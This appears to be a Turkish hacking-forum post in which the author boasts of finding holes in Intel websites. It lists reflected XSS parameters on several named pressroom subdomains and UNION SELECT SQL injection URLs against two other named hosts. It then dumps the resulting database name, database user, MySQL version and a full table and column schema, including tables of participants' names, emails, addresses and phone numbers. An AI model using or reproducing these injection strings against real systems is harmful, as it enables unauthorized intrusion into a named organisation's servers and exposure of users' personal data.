intel.com Uğraş

Bir iki saat boyunca ugrastım.. Birşeyler buldum beyenecek misiniz ?

Intel.com Xss Bug :
http://pressroom-se.intel.com/sok.php?p=XSS
http://pressroom-dk.intel.com/sok.php?p=XSS
http://pressroom-fi.intel.com/sok.php?p=XSS
http://lz1.intel.com/appzone/pressroom/pressreleases.asp?releasetype=XSS

http://softwarecontests.intel.com/contests/Idea/entrydetail.php?entryid=-131489+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 Borumu mysql cekiyoz intele (H)
http://ossmpsdk.intel.com/polls_result.php?task=vote&id=25+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7

Database: contests
User: contests@localhost
Version: 5.0.51a-3ubuntu5.1

Database ler :
[0] ^^contests^
[1] ^^contestsapac^
[2] ^^gamecontest^

Tablolar (contests) : [0]cp_article: article_id,is_default,description,contest_id,title
[1]cp_category: cat_id,title,is_active,contest_id,last_updated
[2]cp_comment: comment_id,entry_id,accepted,comment,profile_id,last_updated,username
[3]cp_content: id,featured_entry,posted_by,submit,preview,cancel,edit,terms,pagename,contest_id,last_updated,title,description
[4]cp_contest: id,contest_name,contest_desc,header_image,tc_url,site_catalyst,login_required,send_mail,image_type,contest_path,contest_type,contest_listtype,show_entryform,details_title,articles_title,pagetitle_default,entrylist_title,entryform_title,entryform_instructions,thankyou_text,linktitle_home,linktitle_submit,linktitle_entrylist,linktitle_relatedarticles,pagetitle_home,mail_from,mail_subject,mail_admin,mail_content,is_active,last_updated
[5]cp_country: ctry_cd,title,inact_ind,geo
[6]cp_email: id,admin_list,email_desc,email_from,email_subject
[7]cp_entry: entry_id,entry_name,entry_description,entry_uploadURL,profile_id,name,company_name,user_name,address,city,state,zip,country,email,phone,URL,doc,doc_type,photo_path,file1_path,file2_path,file3_path,make_public,allow_contact,place_onhomepage,is_active,entry_date,last_updated,ispp_member,intel_support,category,type,contest_id,subscribe,bio,tags,proposed_hardware,proposed_software,form_id
[8]cp_entrytext: id,posted_by,sort_by,alphabetical,date_added,tags,my_entries,all_entries,large_view,comments,post_comment,edit_entry,idea_details,contest_id,last_updated
[9]cp_previewimages: previewimage_id,user_name,file1_path,file2_path,file3_path,
doc_path,doctype,contest_id
[10]cp_regtext: id,accept_terms,support_link,attach_file,view,please_register,yo
ur_inspiration,attach_graphic,personal_info,contest_id,last_updated
[11]cp_rhclinks: rhc_id,description,contest_id,last_updated,url,sort_order
[12]cp_rhctext: rhctext_id,gotoallentries,pageandfeed,bookmarkthis,digthis,delicious,printtip,delicioustip,supporttip,digthistip,emailtip,welcome,login,logout,register,contest_id,last_updated
[13]cp_spotlight: spotlight_id,title,title_link,description,more_link,more_linktext,spotlight_type,entry_id,contest_id,last_updated
[14]cp_state: state_id,ctry_cd,state_cd,state_nm
[15]gd_category: cat_id,title,is_active,last_updated
[16]gd_comments: comment_id,comments,profile_id,accepted,comment_date
[17]gd_content: id,title,description,terms,featured_entry,posted_by,submit,preview,cancel,edit,pagename,last_updated
[18]gd_country: ctry_cd,title,inact_ind,geo
[19]gd_entry: entry_id,entry_name,entry_description,entry_uploadURL,profile_id,name,company_name,user_name,address,city,state,zip,country,email,phone,URL,doc,doc_type,photo_path,file1_path,file2_path,file3_path,make_public,allow_contact,place_onhomepage,is_active,entry_date,last_updated,ispp_member,intel_support,category,type,category_id,category_name
[20]gd_entrytext: id,posted_by,sort_by,alphabetical,date_added,tags,my_entries,all_entries,large_view,comments,post_comment,idea_details,edit_entry,last_updated
[21]gd_regtext: id,accept_terms,support_link,attach_file,view,last_updated
[22]gd_rhclinks: rhc_id,description,last_updated
[23]gd_rhctext: rhctext_id,gotoallentries,pageandfeed,bookmarkthis,digthis,delicious,last_updated,printtip,delicioustip,supporttip,digthistip,emailtip,welcome,login,logout,register
[24]gd_spotlight: spotlight_id,title,title_link,description,more_link,more_linktext,last_updated
[25]gd_state: state_id,ctry_cd,state_cd,state_nm
[26]gd_votecount: id,entryid,votedirection,date,ipaddress
[27]tc_admin: id,homepagetext,registerpagetext,alluserstext,spotlight1,spotlight2,spotlight3
[28]tc_common_avatar: ID,uid,large_w,large_h,medium_w,medium_h,small_w,small_h
[29]tc_common_user: ID,profile_id,display_name,bio,email,first_name,last_name,address1,address2,city,state,country,zip,phone,login_id,accept
[30]tc_entry: id,problem_id,profile_id,title,description,date
[31]tc_entryattachment: id,entry_id,attachment,filename
[32]tc_points: id,entry_id,pointsmeta_id,points
[33]tc_pointsmeta: id,name
[34]tc_problemattachment: id,problem_id,attachment,filename
[35]tc_problemset: id,title,description,date,status_id,forum_id
[36]tc_status: id,name